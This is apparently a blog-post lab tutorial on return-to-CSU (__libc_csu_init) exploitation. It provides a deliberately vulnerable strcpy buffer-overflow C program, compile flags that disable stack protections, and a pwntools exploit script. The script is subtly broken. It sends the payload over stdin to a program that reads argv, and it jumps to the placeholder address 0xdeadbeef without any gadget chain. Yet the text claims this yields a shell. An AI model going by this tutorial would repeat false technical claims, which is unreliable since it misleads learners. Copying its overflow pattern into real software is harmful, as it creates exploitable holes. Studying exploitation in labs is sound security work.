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Return-to-CSU (__libc_csu_init) Exploits Lab 본문
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Return-to-CSU (__libc_csu_init) Exploits Lab
In this lab, we will exploit __libc_csu_init for arbitrary code execution.
Lab Activities:
1. Creating Vulnerable C Program:
First, let's create a vulnerable C program with a buffer overflow vulnerability.
#include <stdio.h>
#include <string.h>
void vulnerable_function(char *input) {
char buffer[64];
strcpy(buffer, input);
}
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}
vulnerable_function(argv[1]);
printf("Program executed successfully.\n");
return 0;
}
Save the above code to a file named vulnerable.c
and compile it with the following command:
$ gcc -o vulnerable -fno-stack-protector -z execstack vulnerable.c
2. Writing Exploit Script:
Now, let's write an exploit script in Python using pwntools to exploit __libc_csu_init.
from pwn import *
# Specify the path to the vulnerable binary
binary_path = './vulnerable'
# Address of __libc_csu_init gadget
csu_init_addr = 0xdeadbeef # Example address of __libc_csu_init
# Offset to return address
offset = 72
# Craft the payload
payload = b'A' * offset
payload += p64(csu_init_addr) # Overwrite return address with __libc_csu_init address
# Launch the exploit
p = process(binary_path)
p.sendline(payload)
p.interactive()
Explanation of the Python script:
- We specify the path to the vulnerable binary and the address of __libc_csu_init gadget.
- The payload consists of padding and the address of __libc_csu_init to overwrite the return address.
- We launch the
vulnerable
binary and send the payload to exploit __libc_csu_init for arbitrary code execution. p.interactive()
allows us to interact with the spawned shell.
3. Exploiting the Vulnerability:
Execute the Python script to exploit the buffer overflow vulnerability:
$ python exploit.py
Once executed, you should have a shell prompt, confirming the successful exploitation of __libc_csu_init for arbitrary code execution.
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